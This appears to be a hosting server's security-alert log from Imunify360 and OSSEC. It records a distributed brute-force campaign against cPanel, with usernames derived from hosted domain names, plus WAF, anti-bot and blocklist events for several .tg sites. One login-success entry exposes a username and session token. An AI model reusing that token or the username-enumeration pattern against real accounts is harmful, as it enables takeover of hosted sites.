[2026-06-27 03:01:23 +0000] info [cpaneld] 91.172.202.112 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 188.71.209.57
country_id: 285570
description:
[2026-06-27 03:01:24 +0000] info [cpaneld] 188.71.209.57 - mesy "GET /login/?login_only=1&user=mesy&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user mesy (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 90.19.207.224
country_id: 3017382
description:
[2026-06-27 03:01:25 +0000] info [cpaneld] 90.19.207.224 - matwtogo "GET /login/?login_only=1&user=matwtogo&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user matwtogo (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 184.22.15.128
country_id: 1605651
description:
[2026-06-27 03:01:28 +0000] info [cpaneld] 184.22.15.128 - mes "GET /login/?login_only=1&user=mes&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user mes (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 38.25.51.104
country_id: 3932488
description:
[2026-06-27 03:01:29 +0000] info [cpaneld] 38.25.51.104 - matwtogoorg "GET /login/?login_only=1&user=matwtogoorg&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user matwtogoorg (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 170.84.147.110
country_id: 3469034
description:
[2026-06-27 03:01:35 +0000] info [cpaneld] 170.84.147.110 - matwto "GET /login/?login_only=1&user=matwto&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user matwto (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 175.138.132.57
country_id: 1733045
description:
[2026-06-27 03:01:39 +0000] info [cpaneld] 175.138.132.57 - matwt "GET /login/?login_only=1&user=matwt&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user matwt (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 212.32.208.181
country_id: 2017370
description:
[2026-06-27 03:01:45 +0000] info [cpaneld] 212.32.208.181 - mat "GET /login/?login_only=1&user=mat&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user mat (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 105.154.20.116
country_id: 2542007
description:
[2026-06-27 03:01:47 +0000] info [cpaneld] 105.154.20.116 - ma "GET /login/?login_only=1&user=ma&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user ma (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 103.148.93.222
country_id: 1168579
description:
[2026-06-27 03:01:32 +0000] info [cpaneld] 103.148.93.222 - me "GET /login/?login_only=1&user=me&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user me (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 187.190.151.221
country_id: 3996063
description:
[2026-06-27 03:01:32 +0000] info [cpaneld] 187.190.151.221 - matwtog "GET /login/?login_only=1&user=matwtog&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user matwtog (has_cpuser_file failed)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 205.169.39.13
country_id: 6252001
description:
205.169.39.13 - - [27/Jun/2026:03:01:37 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7247515&pdata=http%253A%252F%252Fsoroubat.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782529296 HTTP/1.1" 302 0 soroubat.tg "http://soroubat.tg/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:205.169.39.13


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 205.169.39.30
country_id: 6252001
description:
205.169.39.30 - - [27/Jun/2026:03:02:33 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10131557&pdata=http%253A%252F%252Fsoroubat.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782529351 HTTP/1.1" 302 0 soroubat.tg "http://soroubat.tg/" "Mozilla/5.0 (iPhone; CPU iPhone OS 10_3_1 like Mac OS X) AppleWebKit/603.1.30 (KHTML, like Gecko) Version/10.0 Mobile/14E304 Safari/602.1" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:205.169.39.30


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 205.169.39.28
country_id: 6252001
description:
205.169.39.28 - - [27/Jun/2026:03:02:33 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9749908&pdata=http%253A%252F%252Fsoroubat.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782529352 HTTP/1.1" 302 0 soroubat.tg "http://soroubat.tg/" "Mozilla/5.0 (Linux; Android 7.0; SM-G930V Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3071.125 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:205.169.39.28


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 177.245.69.208
country_id: 3996063
description:
[2026-06-27 03:05:11 +0000] info [cpaneld] 177.245.69.208 - macite "GET /login/?login_only=1&user=macite&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user macite (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 92.39.223.149
country_id: 2017370
description:
[2026-06-27 03:05:25 +0000] info [cpaneld] 92.39.223.149 - fastsoluti "GET /login/?login_only=1&user=fastsoluti&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user fastsoluti (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 142.247.164.8
country_id: 102358
description:
[2026-06-27 03:05:25 +0000] info [cpaneld] 142.247.164.8 - mac "GET /login/?login_only=1&user=mac&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user mac (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 186.50.13.126
country_id: 3439705
description:
[2026-06-27 03:05:31 +0000] info [cpaneld] 186.50.13.126 - fastsolu "GET /login/?login_only=1&user=fastsolu&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user fastsolu (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 95.174.98.85
country_id: 2017370
description:
[2026-06-27 03:05:42 +0000] info [cpaneld] 95.174.98.85 - fast "GET /login/?login_only=1&user=fast&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user fast (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 177.66.50.125
country_id: 3469034
description:
[2026-06-27 03:05:18 +0000] info [cpaneld] 177.66.50.125 - macit "GET /login/?login_only=1&user=macit&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user macit (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 177.143.85.55
country_id: 3469034
description:
[2026-06-27 03:05:22 +0000] info [cpaneld] 177.143.85.55 - maci "GET /login/?login_only=1&user=maci&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user maci (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 186.189.97.190
country_id: 3895114
description:
[2026-06-27 03:05:28 +0000] info [cpaneld] 186.189.97.190 - fastsolut "GET /login/?login_only=1&user=fastsolut&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user fastsolut (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 37.38.176.160
country_id: 285570
description:
[2026-06-27 03:05:40 +0000] info [cpaneld] 37.38.176.160 - fasts "GET /login/?login_only=1&user=fasts&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user fasts (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 14.226.74.121
country_id: 1562822
description:
[2026-06-27 03:05:46 +0000] info [cpaneld] 14.226.74.121 - fas "GET /login/?login_only=1&user=fas&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user fas (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 179.198.236.11
country_id: 3469034
description:
[2026-06-27 03:05:49 +0000] info [cpaneld] 179.198.236.11 - fa "GET /login/?login_only=1&user=fa&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user fa (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 80.133.108.97
country_id: 2921044
description:
[2026-06-27 03:05:16 +0000] info [cpaneld] 80.133.108.97 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 185.106.30.209
country_id: 99237
description:
[2026-06-27 03:05:18 +0000] info [cpaneld] 185.106.30.209 - fastsolution "GET /login/?login_only=1&user=fastsolution&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user fastsolution (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 186.19.22.221
country_id: 3865483
description:
[2026-06-27 03:05:22 +0000] info [cpaneld] 186.19.22.221 - fastsolutiontg "GET /login/?login_only=1&user=fastsolutiontg&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user fastsolutiontg (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 177.37.187.217
country_id: 3469034
description:
[2026-06-27 03:06:40 +0000] info [cpaneld] 177.37.187.217 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 189.223.87.211
country_id: 3996063
description:
[2026-06-27 03:06:50 +0000] info [cpaneld] 189.223.87.211 - dja "GET /login/?login_only=1&user=dja&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user dja (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 144.124.192.119
country_id: 1512440
description:
[2026-06-27 03:06:53 +0000] info [cpaneld] 144.124.192.119 - dj "GET /login/?login_only=1&user=dj&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user dj (has_cpuser_file failed)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 213.230.92.79
country_id: 1512440
domain: www.djama.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.djama.tg/uploads/images/25.jpeg HTTP/1.1||RSV:8.21||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 37.110.211.28
country_id: 1512440
description:
[2026-06-27 03:09:10 +0000] info [cpaneld] 37.110.211.28 - dgdntogotg "GET /login/?login_only=1&user=dgdntogotg&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user dgdntogotg (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 84.54.114.135
country_id: 1512440
description:
[2026-06-27 03:09:11 +0000] info [cpaneld] 84.54.114.135 - hotely "GET /login/?login_only=1&user=hotely&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user hotely (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 93.224.129.29
country_id: 2921044
description:
[2026-06-27 03:08:43 +0000] info [cpaneld] 93.224.129.29 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 14.180.209.250
country_id: 1562822
description:
[2026-06-27 03:08:49 +0000] info [cpaneld] 14.180.209.250 - hotelyabissocom "GET /login/?login_only=1&user=hotelyabissocom&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user hotelyabissocom (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 37.214.25.41
country_id: 630336
description:
[2026-06-27 03:08:51 +0000] info [cpaneld] 37.214.25.41 - hotelyabis "GET /login/?login_only=1&user=hotelyabis&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user hotelyabis (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 171.225.203.136
country_id: 1562822
description:
[2026-06-27 03:09:04 +0000] info [cpaneld] 171.225.203.136 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 38.19.41.137
country_id: 3686110
description:
[2026-06-27 03:09:06 +0000] info [cpaneld] 38.19.41.137 - dgdntogo "GET /login/?login_only=1&user=dgdntogo&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 89.188.178.92
country_id: 2017370
description:
[2026-06-27 03:08:45 +0000] info [cpaneld] 89.188.178.92 - hotelyabisso "GET /login/?login_only=1&user=hotelyabisso&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user hotelyabisso (has_cpuser_file failed)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 138.197.93.235
country_id: 6252001
description:
Jun 27 03:08:51 ns5 auth[658984]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 138.197.93.235 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 185.24.60.40
country_id: 99237
description:
[2026-06-27 03:09:05 +0000] info [cpaneld] 185.24.60.40 - hotelya "GET /login/?login_only=1&user=hotelya&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user hotelya (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 212.237.119.9
country_id: 99237
description:
[2026-06-27 03:09:25 +0000] info [cpaneld] 212.237.119.9 - hot "GET /login/?login_only=1&user=hot&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user hot (has_cpuser_file failed)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 142.252.6.186
country_id: 2921044
description:
142.252.6.186 - - [27/Jun/2026:03:09:43 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9999986&pdata=https%253A%252F%252Ftogomedia24.tg%252F2023%252F03%252F27%252Ftogo-nous-devons-agir-sur-les-leviers-qui-dependent-de-nous-faure-gnassingbe%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782529781 HTTP/2.0" 302 0 togomedia24.tg "https://togomedia24.tg/2023/03/27/togo-nous-devons-agir-sur-les-leviers-qui-dependent-de-nous-faure-gnassingbe/" "Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.3636.1235 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:142.252.6.186


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 103.181.181.154
country_id: 1210997
description:
[2026-06-27 03:09:57 +0000] info [cpaneld] 103.181.181.154 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 201.77.57.3
country_id: 3658394
description:
[2026-06-27 03:09:20 +0000] info [cpaneld] 201.77.57.3 - hote "GET /login/?login_only=1&user=hote&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user hote (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 31.37.74.142
country_id: 3017382
description:
[2026-06-27 03:09:22 +0000] info [cpaneld] 31.37.74.142 - dgdn "GET /login/?login_only=1&user=dgdn&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user dgdn (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 177.39.36.207
country_id: 3469034
description:
[2026-06-27 03:09:25 +0000] info [cpaneld] 177.39.36.207 - dgd "GET /login/?login_only=1&user=dgd&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user dgd (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 45.229.73.73
country_id: 3686110
description:
[2026-06-27 03:09:29 +0000] info [cpaneld] 45.229.73.73 - ho "GET /login/?login_only=1&user=ho&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user ho (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 102.30.27.44
country_id: 2464461
description:
[2026-06-27 03:12:13 +0000] info [cpaneld] 102.30.27.44 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 178.47.3.217
country_id: 2017370
description:
[2026-06-27 03:12:23 +0000] info [cpaneld] 178.47.3.217 - togocarrierebetonstg "GET /login/?login_only=1&user=togocarrierebetonstg&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user togocarrierebetonstg (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 45.166.204.49
country_id: 3469034
description:
[2026-06-27 03:12:32 +0000] info [cpaneld] 45.166.204.49 - togocarri "GET /login/?login_only=1&user=togocarri&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user togocarri (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 103.121.100.129
country_id: 1643084
description:
[2026-06-27 03:12:43 +0000] info [cpaneld] 103.121.100.129 - togoca "GET /login/?login_only=1&user=togoca&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user togoca (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 177.52.29.173
country_id: 3469034
description:
[2026-06-27 03:12:47 +0000] info [cpaneld] 177.52.29.173 - togoc "GET /login/?login_only=1&user=togoc&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user togoc (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 201.233.185.148
country_id: 3686110
description:
[2026-06-27 03:12:55 +0000] info [cpaneld] 201.233.185.148 - tog "GET /login/?login_only=1&user=tog&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user tog (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 114.130.168.70
country_id: 1210997
description:
[2026-06-27 03:12:38 +0000] info [cpaneld] 114.130.168.70 - togocar "GET /login/?login_only=1&user=togocar&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user togocar (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 92.253.46.243
country_id: 248816
description:
[2026-06-27 03:12:57 +0000] info [cpaneld] 92.253.46.243 - to "GET /login/?login_only=1&user=to&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user to (has_cpuser_file failed)


plugin: modsec
rule: 77350396
name: IM360 WAF: Request indicates a Headless browser
abuser: 84.200.73.232
country_id: 2921044
domain: leadelles.tg
description:
IM360 WAF: Request indicates a Headless browser||MV:Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/146.0.0.0 Safari/537.36||RSV:8.21||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 186.81.100.219
country_id: 3686110
domain: sia-togo.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/sia-togo.tg/ HTTP/1.1||RSV:8.21||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 43.159.52.28
country_id: 1880251
description:
43.159.52.28 - - [27/Jun/2026:03:21:27 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6646681&pdata=https%253A%252F%252Flacs1.mairie.tg%252Fcategory%252Factualites%252Fprogres-initiatives%252Fpage%252F3%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782530485 HTTP/2.0" 302 0 lacs1.mairie.tg "https://lacs1.mairie.tg/category/actualites/progres-initiatives/page/3/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:43.159.52.28


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 217.60.195.219
country_id: 290557
description:
2026-06-27 03:25:00 H=([217.60.195.219]) [217.60.195.219]:62997 F=<noreply@formlinksystems.com> rejected RCPT <whiteway@white-ways.com>: The mail server could not deliver mail to whiteway@white-ways.com.  The account or domain may not exist, they may be blacklisted, or missing the proper dns entries.


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 205.169.39.46
country_id: 6252001
description:
205.169.39.46 - - [27/Jun/2026:03:26:18 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6710890&pdata=https%253A%252F%252Fconfortis.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782530777 HTTP/2.0" 302 0 confortis.tg "https://confortis.tg/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:205.169.39.46


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 188.166.248.160
country_id: 1880251
description:
[2026-06-27 03:26:35 +0000] info [cpaneld] 188.166.248.160 - afdim "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 104.28.161.30
country_id: 1880251
description:
104.28.161.30 - - [27/Jun/2026:03:27:58 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10460527&pdata=https%253A%252F%252Fhotelyabisso.com&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782530876 HTTP/2.0" 302 0 hotelyabisso.com "https://hotelyabisso.com/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.7632.6 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:104.28.161.30


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 39.100.91.113
country_id: 1814991
description:
Jun 27 03:28:45 ns5 auth[658984]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 39.100.91.113 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 138.197.93.235
country_id: 6252001
description:
Jun 27 03:31:12 ns5 auth[658984]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 138.197.93.235 has been locked due to Imunify RBL


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 176.126.111.69
country_id: 6252001
domain: direct7.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.21||T:APACHE||RA:176.126.111.69||TA:176.126.111.69||


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 107.174.169.235
country_id: 6252001
description:
[2026-06-27 03:33:59 +0000] info [cpaneld] 107.174.169.235 NEW wcnyaruu:Pm7kH6d2sakqyCWo address=107.174.169.235,app=cpaneld,creator=wcnyaruu,method=handle_form_login,path=form,possessed=0


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 181.199.44.4
country_id: 3658394
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/togo-39-prefectures-mobilisees-pour-la-campagne-de-reboisement-2026/ HTTP/1.1||RSV:8.21||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 181.199.44.4
country_id: 3658394
domain: togodailynews.tghttp
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tghttp/togodailynews.tg/togo-39-prefectures-mobilisees-pour-la-campagne-de-reboisement-2026/ HTTP/1.1||RSV:8.21||T:APACHE||


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 43.172.197.122
country_id: 1880251
description:
43.172.197.122 - - [27/Jun/2026:03:39:19 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6856606&pdata=https%253A%252F%252F24heureinfo.tg%252Fwp-json%252Fwp%252Fv2%252Fposts%252F58334&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782531556 HTTP/1.1" 404 561 24heureinfo.tg "https://24heureinfo.tg/wp-json/wp/v2/posts/58334" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:43.172.197.122


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 159.26.103.215
country_id: 6252001
description:
[2026-06-27 03:41:09 +0000] info [cpaneld] 159.26.103.215 - AMEDEKA "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user AMEDEKA (has_cpuser_file failed)


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 43.173.179.7
country_id: 1880251
description:
43.173.179.7 - - [27/Jun/2026:03:42:19 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10053225&pdata=https%253A%252F%252F24heureinfo.tg%252Fwp-json%252Fwp%252Fv2%252Ftags%252F3093&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782531736 HTTP/1.1" 404 561 24heureinfo.tg "https://24heureinfo.tg/wp-json/wp/v2/tags/3093" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:43.173.179.7


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 205.169.39.4
country_id: 6252001
description:
